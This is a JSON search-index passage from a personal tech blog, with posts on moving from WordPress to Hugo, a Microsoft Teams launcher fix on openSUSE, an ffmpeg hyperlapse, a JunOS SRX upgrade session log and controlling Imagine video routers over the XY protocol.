[{"content":"Hugo So I decided that it was the time to get rid of wordpress it bloated, and it seems like everything else it got couth in the AI everywhere hype and move to something that make a little be more sense like a static site generator, specially since a while git is running everything I do.\nChoosing it wasn\u0026rsquo;t that hard, I like golang so the obvious choose it\u0026rsquo;s hugo and to be honest is wasn\u0026rsquo;t that hard because there are a lot of ready to use tools to import from basically all platform (in my case I used wp2hugo)\nwp2hugo build a nice project structure (really useful especially because I never used hugo), download the assess with the same files tree of the original wordpress installation and create also the same url structure to keep the compatibility with the already indexed posts.\nHistory of this blog engine I like to add some notes about this blog, well website (I dropped the name blog from the third level domain some time ago) it all started in 2003 the site was actually hosted on a third level dynamic dns name (imf.systes.net imf stand for insomnia main frame, yes I know it sound cool) later on move to my first domain name deepreflect.net in 2004 (back in the day I used to give to my server rather non functional name so the url was reason.deepreflect.net).\nInitially was build with a really simple php 2 pages: 1 for rendering html and 1 to add post, the backend was mysql, later on I added some other pages to render the WAP version because the WEP started to be mobile, even if it was ridiculous expansive to browse it from a GPRS connection.\nThis kind of setup was running untouched from 2003 till the 2008 when I recovered and put back together all the unpublished notes and posts into WordPress.\nNothing particularly interesting about the software platform, on the other side the hosting was a totally different thing, I always hosted my web and mail on my own server (for some time at home later moved into colocation) and I still do it; I started running Slackware Linux on a Pentium 2, moved to some IBM Netvista server running Debian Linux, for some time even on a UltraSparc 10 running Solaris (because why not, the electricity was cheaper) till I moved everything into a proper datacenter since then I used some big corp rack x86 servers (IBM, HPE, Dell with some boring hypervisor and Linux)\n","permalink":"https://www.deepreflect.net/2026/06/29/hugo/","summary":"\u003ch3 id=\"hugo\"\u003eHugo\u003c/h3\u003e\n\u003cp\u003eSo I decided that it was the time to get rid of wordpress it bloated, and it seems like everything else it got couth in the AI everywhere hype and move to something that make a little be more sense like a static site generator, specially since a while git is running everything I do.\u003c/p\u003e\n\u003cp\u003eChoosing it wasn\u0026rsquo;t that hard, I like golang so the obvious choose it\u0026rsquo;s \u003ca href=\"https://gohugo.io/\"\u003ehugo\u003c/a\u003e and to be honest is wasn\u0026rsquo;t that hard because there are a lot of ready to use tools to import from basically all platform (in my case I used wp2hugo)\u003c/p\u003e","title":"hugo"},{"content":"It\u0026rsquo;s a rainy day, it fits perfectly with the melancholy of these words. I generally don\u0026rsquo;t think about the ending of a project or generally speaking when I do something, I like to think about it like a perpetual evolution instead (yes, from time to time drastic changes are needed) but this, today, it\u0026rsquo;s something different like something broken to the point is not fixable anymore.\nThis is about yet another story of unilateral impulsive decisions driven by the greed for power, need for attention and stupidity, I\u0026rsquo;m not that naive I see what is happening to the world every day and it feels like a trend but remember this is not NORMAL. Great things are made by people who work together, people with the love and attention to details, yes details. Details that really matter, even in big projects or massive corporations at some point someone thought it was important a very little and silly thing no one will ever notice.\nThat little thing, if neglected, soon enough will get bigger and bigger to the point that every pieces of its soul is gone, and when is gone will be an empty box, yes maybe with some value still, but without a heart.\nWhat now? Now we start again, but before that I need to dry the cat because he came into the house completely soaked, damn it.\n","permalink":"https://www.deepreflect.net/2025/09/10/what-now/","summary":"\u003cp\u003eIt\u0026rsquo;s a rainy day, it fits perfectly with the melancholy of these words. I generally don\u0026rsquo;t think about the ending of a project or generally speaking  when I do something, I like to think about it like a perpetual evolution instead (yes, from time to time drastic changes are needed) but this, today, it\u0026rsquo;s something different like something broken to the point is not fixable anymore.\u003c/p\u003e\n\u003cp\u003eThis is about yet another story of unilateral impulsive decisions driven by the greed for power, need for attention and stupidity, I\u0026rsquo;m not that naive I see what is happening to the world every day and it feels like a trend but remember this is not NORMAL. Great things are made by people who work together, people with the love and attention to details, yes details. Details that really matter, even in big projects or massive corporations at some point someone thought it was important a very little and silly thing no one will ever notice.\u003c/p\u003e","title":"What now?"},{"content":"\n","permalink":"https://www.deepreflect.net/2025/04/21/9gen/","summary":"\u003cp\u003e\u003ca href=\"/wp-content/uploads/2025/04/9gen.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2025/04/9gen.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"9gen"},{"content":"I\u0026rsquo;ve recently upgraded Microsft Teams to version 1.4.00.4855 (I run it on openSUSE Linux but I think this problem can be related to the rpm build and maybe even the deb) basically the external Join Invite by URL stopped working.\nDigging around in the browser the content-type: \u0026quot;msteams\u0026quot; it\u0026rsquo;s opened by the lanucher \u0026quot;/usr/bin/teams\u0026quot; luckily it\u0026rsquo;s a simple shell script, apparently they added some switch messing up the URL variable.\nFollowing the explanation, I\u0026rsquo;ve just downloaded the rpm and unpacked it:\nhttps://packages.microsoft.com/yumrepos/ms-teams/teams-1.3.00.958-1.x86_64.rpm https://packages.microsoft.com/yumrepos/ms-teams/teams-1.4.00.4855-1.x86_64.rpm rpm2cpio teams-xxxx.x86_64.rpm | cpio -idmv And then do some diff:\nleo@thinkleo5:~/dev/teams\u0026gt; diff 1.3/usr/bin/teams 1.4/usr/bin/teams 11c11 \u0026lt; nohup \u0026#34;$TEAMS_PATH\u0026#34; \u0026#34;$@\u0026#34; \u0026gt; \u0026#34;$TEAMS_LOGS/teams-startup.log\u0026#34; 2\u0026gt;\u0026amp;1 \u0026amp; --- \u0026gt; nohup \u0026#34;$TEAMS_PATH\u0026#34; --disable-namespace-sandbox --disable-setuid-sandbox \u0026#34;$@\u0026#34; \u0026gt; \u0026#34;$TEAMS_LOGS/teams-startup.log\u0026#34; 2\u0026gt;\u0026amp;1 \u0026amp; leo@thinkleo5:~/dev/teams\u0026gt; Teams still run but the URL joins are ignored, you can fix editing the \u0026quot;/usr/bin/teams\u0026quot; the line 11 of the launcher.\nFrom:\nnohup \u0026quot;$TEAMS_PATH\u0026quot; --disable-namespace-sandbox --disable-setuid-sandbox \u0026quot;$@\u0026quot; \u0026gt; \u0026quot;$TEAMS_LOGS/teams-startup.log\u0026quot; 2\u0026gt;\u0026amp;1 \u0026amp;\nTo:\nnohup \u0026quot;$TEAMS_PATH\u0026quot; \u0026quot;$@\u0026quot; --disable-namespace-sandbox --disable-setuid-sandbox \u0026gt; \u0026quot;$TEAMS_LOGS/teams-startup.log\u0026quot; 2\u0026gt;\u0026amp;1 \u0026amp;\n","permalink":"https://www.deepreflect.net/2021/03/13/microsoft-teams-and-join-link-problem/","summary":"\u003cp\u003eI\u0026rsquo;ve recently upgraded Microsft Teams to version 1.4.00.4855 (I run it on openSUSE Linux but I think this problem can be related to the rpm build and maybe even the deb) basically the external Join Invite by URL stopped working.\u003c/p\u003e\n\u003cp\u003eDigging around in the browser the content-type: \u003ccode\u003e\u0026quot;msteams\u0026quot;\u003c/code\u003e it\u0026rsquo;s opened by the lanucher \u003ccode\u003e\u0026quot;/usr/bin/teams\u0026quot;\u003c/code\u003e luckily it\u0026rsquo;s a simple shell script, apparently they added some switch messing up the URL variable.\u003c/p\u003e","title":"Microsoft Teams and Join Link problem"},{"content":"Some years ago (I think in 2017) I wanted to try to make a hyper-lapse video this is the result:\nVideo Link\nSome technical details:\nI\u0026rsquo;ve moved for 5 meters On every frame, I move by 5 centimetres forward I\u0026rsquo;ve taken about 100 frames The final video it\u0026rsquo;s created using FFmpeg This is the FFmpeg script used to create the final clip:\nffmpeg -r 30 -pattern_type glob -i \u0026#39;*.JPG\u0026#39; -c:v libx264 -pix_fmt yuv420p out30fps.mp4 ","permalink":"https://www.deepreflect.net/2021/01/12/hyperlapse-experiment-1/","summary":"\u003cp\u003eSome years ago (I think in 2017) I wanted to try to make a hyper-lapse video this is the result:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2021/01/hyperleo30fps.mp4\"\u003eVideo Link\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eSome technical details:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eI\u0026rsquo;ve moved for 5 meters\u003c/li\u003e\n\u003cli\u003eOn every frame, I move by 5 centimetres forward\u003c/li\u003e\n\u003cli\u003eI\u0026rsquo;ve taken about 100 frames\u003c/li\u003e\n\u003cli\u003eThe final video it\u0026rsquo;s created using FFmpeg\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is the FFmpeg script used to create the final clip:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003effmpeg -r 30 -pattern_type glob -i \u0026#39;*.JPG\u0026#39; -c:v libx264 -pix_fmt yuv420p out30fps.mp4\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Hyperlapse Experiment 1"},{"content":"Q: Why you do this? A: It\u0026rsquo;s fun I consider this space a public notebook a constant evolution of ideas and experiments.\nQ: Why you write in English? A: English it\u0026rsquo;s international and since it\u0026rsquo;s not my primary language it\u0026rsquo;s a very challenging typing exercise, I know it\u0026rsquo;s not perfect I\u0026rsquo;m learning every day.\nQ: Why don\u0026rsquo;t you use the social network as a platform? A: This is a complicated answer, first of all, the social networks are attention-seeking machines and sooner or later you end up to do something to seek those attentions at any cost, second the average life of a post on a social network it\u0026rsquo;s barely of a day (I\u0026rsquo;m been very optimistic), Ideas are out of time you can put an expiration on it.\n","permalink":"https://www.deepreflect.net/faq/","summary":"\u003cp\u003eQ: Why you do this?\nA: It\u0026rsquo;s fun I consider this space a public notebook a constant evolution of ideas and experiments.\u003c/p\u003e\n\u003cp\u003eQ: Why you write in English?\nA: English it\u0026rsquo;s international and since it\u0026rsquo;s not my primary language it\u0026rsquo;s a very challenging typing exercise, I know it\u0026rsquo;s not perfect I\u0026rsquo;m learning every day.\u003c/p\u003e\n\u003cp\u003eQ: Why don\u0026rsquo;t you use the social network as a platform?\nA: This is a complicated answer, first of all, the social networks are attention-seeking machines and sooner or later you end up to do something to seek those attentions at any cost, second the average life of a post on a social network it\u0026rsquo;s barely of a day (I\u0026rsquo;m been very optimistic), Ideas are out of time you can put an expiration on it.\u003c/p\u003e","title":"FAQ"},{"content":"For some reason, JunOS 12.1X46-D65.4 on SRX platform can\u0026rsquo;t validate any update it takes me several attempts before figure out to run the upgrade with the \u0026ldquo;no-validate\u0026rdquo; option.\nroot\u0026gt; request system configuration rescue save root\u0026gt; request system autorecovery state save root\u0026gt; request system storage cleanup List of files to delete: Size Date Name 11B Dec 29 22:35 /cf/var/jail/tmp/alarmd.ts 142.6M Dec 29 22:38 /cf/var/jail/tmp/install/junos-srxsme-12.1X46-D82-domestic.tgz 420B Dec 29 22:36 /cf/var/jail/tmp/jweb-users.xml 128B Dec 29 22:40 /cf/var/log/interactive-commands.0.gz 175B Dec 29 22:40 /cf/var/log/messages.0.gz 27B Dec 29 22:32 /cf/var/log/wtmp.0.gz Delete these files ? [yes,no] (no) yes root\u0026gt; Follow:\nroot\u0026gt; request system software add /cf/var/tmp/junos-srxsme-12.3X48-D40.5-domestic.tgz NOTICE: Validating configuration against junos-srxsme-12.3X48-D40.5-domestic.tgz. NOTICE: Use the \u0026#39;no-validate\u0026#39; option to skip this if desired. Checking compatibility with configuration Initializing... Verified manifest signed by PackageProductionEc_2016 method ECDSA veriexec: cannot bless /packages/junos-12.1X46-D65.4-domestic: Authentication error Verified junos-12.1X46-D65.4-domestic signed by PackageProductionEc_2016 method ECDSA Using /cf/var/tmp/junos-srxsme-12.3X48-D40.5-domestic.tgz Checking junos requirements on / Available space: 181112 require: 211214 WARNING: The /packages filesystem is low on free disk space. WARNING: This package requires 211214k free, but there WARNING: is only 181112k available. WARNING: This installation attempt will be aborted. ERROR: validate-config: junos/+REQUIRE fails for / WARNING: Current configuration not compatible with /cf/var/tmp/junos-srxsme-12.3X48-D40.5-domestic.tgz root\u0026gt; request system storage cleanup List of files to delete: Size Date Name 474B Dec 29 19:44 /cf/var/log/install.0.gz 134B Dec 30 04:41 /cf/var/log/interactive-commands.0.gz 1815B Dec 30 04:41 /cf/var/log/messages.0.gz 27B Dec 29 22:45 /cf/var/log/wtmp.0.gz 27B Dec 29 22:40 /cf/var/log/wtmp.1.gz 4821B Dec 30 04:36 /cf/var/tmp/cleanup-pkgs.log 173.7M Dec 29 22:43 /cf/var/tmp/junos-srxsme-12.3X48-D40.5-domestic.tgz Delete these files ? [yes,no] (no) yes root\u0026gt; show version Model: srx110h2-va JUNOS Software Release [12.1X46-D65.4] root\u0026gt; request system software add /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz NOTICE: Validating configuration against junos-srxsme-12.1X46-D66.1-domestic.tgz. NOTICE: Use the \u0026#39;no-validate\u0026#39; option to skip this if desired. Checking compatibility with configuration Initializing... Verified manifest signed by PackageProductionEc_2016 method ECDSA veriexec: cannot bless /packages/junos-12.1X46-D65.4-domestic: Authentication error Verified junos-12.1X46-D65.4-domestic signed by PackageProductionEc_2016 method ECDSA Using /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz ERROR: Unsupported platform srx110h2-va for 12.1X46 releases after 12.1X46-D65. ERROR: validate-config: junos/+REQUIRE fails WARNING: Current configuration not compatible with /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz root\u0026gt; request system software delete-backup Delete backup system software package [yes,no] (no) yes root\u0026gt; show chassis routing-engine Routing Engine status: Temperature 58 degrees C / 136 degrees F Total memory 2048 MB Max 635 MB used ( 31 percent) Control plane memory 1088 MB Max 435 MB used ( 40 percent) Data plane memory 960 MB Max 202 MB used ( 21 percent) CPU utilization: User 4 percent Background 0 percent Kernel 12 percent Interrupt 0 percent Idle 84 percent Model RE-SRX110H2-VA Start time 2017-01-15 02:45:57 UTC Uptime 9 hours, 32 minutes, 48 seconds Last reboot reason 0x200:normal shutdown Load averages: 1 minute 5 minute 15 minute 0.24 0.50 0.41 root\u0026gt; request system reboot Reboot the system ? [yes,no] (no) yes Shutdown NOW! [pid 4875] root\u0026gt; *** FINAL System shutdown message from root@ *** System going down IMMEDIATELY Password: --- JUNOS 12.1X46-D65.4 built 2016-12-30 01:34:30 UTC root@% cli root\u0026gt; request system software add /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz NOTICE: Validating configuration against junos-srxsme-12.1X46-D66.1-domestic.tgz. NOTICE: Use the \u0026#39;no-validate\u0026#39; option to skip this if desired. Checking compatibility with configuration Initializing... Verified manifest signed by PackageProductionEc_2016 method ECDSA veriexec: cannot bless /packages/junos-12.1X46-D65.4-domestic: Authentication error Verified junos-12.1X46-D65.4-domestic signed by PackageProductionEc_2016 method ECDSA Using /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz ERROR: Unsupported platform srx110h2-va for 12.1X46 releases after 12.1X46-D65. ERROR: validate-config: junos/+REQUIRE fails WARNING: Current configuration not compatible with /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz root\u0026gt; request system software add /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz no-validate Formatting alternate root (/dev/ad0s2a)... /dev/ad0s2a: 630.0MB (1290204 sectors) block size 16384, fragment size 2048 using 4 cylinder groups of 157.50MB, 10080 blks, 20224 inodes. super-block backups (for fsck -b #) at: 32, 322592, 645152, 967712 Extracting /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz ... saving package file in /var/sw/pkg ... Installing package \u0026#39;/altroot/cf/packages/install-tmp/junos-12.1X46-D66.1-domestic\u0026#39; ... Verified junos-boot-srxsme-12.1X46-D66.1.tgz signed by PackageProductionEc_2017 method ECDSA Verified junos-srxsme-12.1X46-D66.1-domestic signed by PackageProductionEc_2017 method ECDSA Verified junos-boot-srxsme-12.1X46-D66.1.tgz signed by PackageProductionEc_2017 method ECDSA Verified junos-srxsme-12.1X46-D66.1-domestic signed by PackageProductionEc_2017 method ECDSA ERROR: Unsupported platform srx110h2-va for 12.1X46 releases after 12.1X46-D65. ERROR: junos-12.1X46-D66.1-domestic fails requirements check Installation failed for package \u0026#39;/altroot/cf/packages/install-tmp/junos-12.1X46-D66.1-domestic\u0026#39; root\u0026gt; request system storage cleanup List of files to delete: Size Date Name 96B Dec 30 04:58 /cf/var/crash/flowd_octeon_hm.log..0 131B Dec 30 05:13 /cf/var/log/interactive-commands.0.gz 3726B Dec 30 05:13 /cf/var/log/messages.0.gz 136B Dec 30 04:59 /cf/var/log/wtmp.0.gz 27B Dec 30 04:41 /cf/var/log/wtmp.1.gz 142.4M Dec 30 05:10 /cf/var/sw/pkg/junos-12.1X46-D66.1.tgz 4821B Dec 30 05:04 /cf/var/tmp/cleanup-pkgs.log 0B Dec 30 04:57 /cf/var/tmp/eedebug_bin_file 124.0K Dec 30 04:57 /cf/var/tmp/gres-tp/env.dat 0B Dec 30 04:57 /cf/var/tmp/gres-tp/lock 4B Dec 30 04:58 /cf/var/tmp/idp_license_info 142.4M Oct 26 17:00 /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz 155B Dec 30 04:58 /cf/var/tmp/krt_gencfg_filter.txt 30B Dec 30 04:58 /cf/var/tmp/policy_status 0B Dec 30 04:57 /cf/var/tmp/rtsdb/if-rtsdb 0B Dec 30 04:56 /cf/var/tmp/spu_kmd_init 0B Dec 30 04:58 /cf/var/tmp/vpn_tunnel_orig.id Delete these files ? [yes,no] (no) yes root\u0026gt; request system software add /cf/var/tmp/junos-srxsme-12.3X48-D105.4-domestic.tgz no-validate Formatting alternate root (/dev/ad0s2a)... /dev/ad0s2a: 630.0MB (1290204 sectors) block size 16384, fragment size 2048 using 4 cylinder groups of 157.50MB, 10080 blks, 20224 inodes. super-block backups (for fsck -b #) at: 32, 322592, 645152, 967712 Extracting /cf/var/tmp/junos-srxsme-12.3X48-D105.4-domestic.tgz ... saving package file in /var/sw/pkg ... Installing package \u0026#39;/altroot/cf/packages/install-tmp/junos-12.3X48-D105.4-domestic\u0026#39; ... Verified junos-boot-srxsme-12.3X48-D105.4.tgz signed by PackageProductionECP256_2020 method ECDSA Verified junos-srxsme-12.3X48-D105.4-domestic signed by PackageProductionECP256_2020 method ECDSA Verified junos-boot-srxsme-12.3X48-D105.4.tgz signed by PackageProductionECP256_2020 method ECDSA Verified junos-srxsme-12.3X48-D105.4-domestic signed by PackageProductionECP256_2020 method ECDSA Verified junos-boot-srxsme-12.3X48-D105.4.tgz signed by PackageProductionECP256_2020 method ECDSA Verified junos-srxsme-12.3X48-D105.4-domestic signed by PackageProductionECP256_2020 method ECDSA JUNOS 12.3X48-D105.4 will become active at next reboot WARNING: A reboot is required to load this software correctly WARNING: Use the \u0026#39;request system reboot\u0026#39; command WARNING: when software installation is complete Saving state for rollback ... root\u0026gt; request system reboot Reboot the system ? [yes,no] (no) yes Shutdown NOW! [pid 2578] root\u0026gt; *** FINAL System shutdown message from root@ *** System going down IMMEDIATELY ","permalink":"https://www.deepreflect.net/2021/01/11/junos-upgrade/","summary":"\u003cp\u003eFor some reason, JunOS 12.1X46-D65.4 on SRX platform can\u0026rsquo;t validate any update it takes me several attempts before figure out to run the upgrade with the \u0026ldquo;no-validate\u0026rdquo; option.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e request system configuration rescue save\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e request system autorecovery state save\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e request system storage cleanup\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eList of files to delete:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         Size Date         Name\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ae81ff\"\u003e11\u003c/span\u003eB Dec \u003cspan style=\"color:#ae81ff\"\u003e29\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e35\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecf\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejail\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ealarmd\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ets\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#ae81ff\"\u003e142.6\u003c/span\u003eM Dec \u003cspan style=\"color:#ae81ff\"\u003e29\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e38\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecf\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejail\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003einstall\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejunos\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003esrxsme\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e12.1\u003c/span\u003eX46\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eD82\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edomestic\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etgz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#ae81ff\"\u003e420\u003c/span\u003eB Dec \u003cspan style=\"color:#ae81ff\"\u003e29\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e36\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecf\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejail\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etmp\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ejweb\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eusers\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003exml\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#ae81ff\"\u003e128\u003c/span\u003eB Dec \u003cspan style=\"color:#ae81ff\"\u003e29\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e40\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecf\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elog\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003einteractive\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecommands\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.\u003c/span\u003egz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#ae81ff\"\u003e175\u003c/span\u003eB Dec \u003cspan style=\"color:#ae81ff\"\u003e29\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e40\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecf\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elog\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003emessages\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.\u003c/span\u003egz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ae81ff\"\u003e27\u003c/span\u003eB Dec \u003cspan style=\"color:#ae81ff\"\u003e29\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e32\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecf\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elog\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ewtmp\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.\u003c/span\u003egz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDelete these files \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e?\u003c/span\u003e [yes,no] (no) yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFollow:\u003c/p\u003e","title":"JunOS Upgrade"},{"content":"From the moment that I\u0026rsquo;ve started working for a broadcaster I was immediately fascinated by the video routers, they basically are the core of a production centre the can switch, sync a reclock SDI signals it\u0026rsquo;s a very simple concept if you think switch a video from one port to others, but they hide a very complicated implementation because since you can switch any source to any destinations in the routing matrix the hardware must be no-blocking and you can\u0026rsquo;t do bandwidth oversubscription; in the meantime, you\u0026rsquo;ve to keep the vertical interval synched to avoid frames losses that cause flickering or other unexpected behaviours.\nI know everything in the world it\u0026rsquo;s transitioning some sort of IP/Networked signal, but as I\u0026rsquo;ve mentioned before with 2022/2110/NDI/SRT you’ll always end up choosing the wrong one, this is the reason why I consider the legacy way more interesting, and there is nothing more legacy than the SDI born in the late \u0026lsquo;80 it\u0026rsquo;s still surviving and actively developed. None I can say about the video routers and their ecosystems still based on some sort of not so fancy control protocol over some sort of serial interface.\nTo cut short a crosspoint commands it\u0026rsquo;s made by 3 elements: a destination, a source and a level; the first two are pretty self-explanatory, the level it\u0026rsquo;s the media type, in the big an complex systems, for example, you can split audio, video and data into different matrixes or different modules and control everything from a single command.\nHere we come to the reason for this project, some time ago I\u0026rsquo;ve acquired some video router to build my studio at home I\u0026rsquo;ve ended up acquiring a lot of 5 8x8 HD/3G routers and 1 8x8 SD (this one literally catch fire, but this is a story for another time, I\u0026rsquo;ve managed to save the 5 3G) I quickly realise the problem was not to find the matrix itself but to find the control panels, so why not to do a little reverse engineer and build write something.\nMy weapon of choice for this project is the Leitch / Harris / Imagine Communications branded Panacea video router, this kind of devices are in my opinion very consistent XY protocol (in different flavours) the same code that I\u0026rsquo;ve written for a device released in early 2000 (Panacea/XPlus) can still run on every modern Imagine platforms like the Integrator or Platinum.\nImagine Communications devices are managed via XY Protocols, even if the name is similar between them they behave in a very different way.\nXY Terminal (the crosspoint commands are specified in multiple lines via RS232 variables are decimal numbers) XY Telnet (same as the XY Terminal but via Telnet) XY Serial (the crosspoint command is a single string and every serial or telnet connection are joined to a shared stream where you can read every session and send commands, variables are hex) XY Client (the router open a session to a client but I\u0026rsquo;ve never figured out how the handshake works) You can find an example of XY Terminal and XY Serial code at https://github.com/lrizzi/xy-panel the python web services act as an API gateway, the web pages are a simple frontend.\n","permalink":"https://www.deepreflect.net/2021/01/11/video-router-xy-web-panel/","summary":"\u003cp\u003eFrom the moment that I\u0026rsquo;ve started working for a broadcaster I was immediately fascinated by the video routers, they basically are the core of a production centre the can switch, sync a reclock SDI signals it\u0026rsquo;s a very simple concept if you think switch a video from one port to others, but they hide a very complicated implementation because since you can switch any source to any destinations in the routing matrix the hardware must be no-blocking and you can\u0026rsquo;t do bandwidth oversubscription; in the meantime, you\u0026rsquo;ve to keep the vertical interval synched to avoid frames losses that cause flickering or other unexpected behaviours.\u003c/p\u003e","title":"Video Router 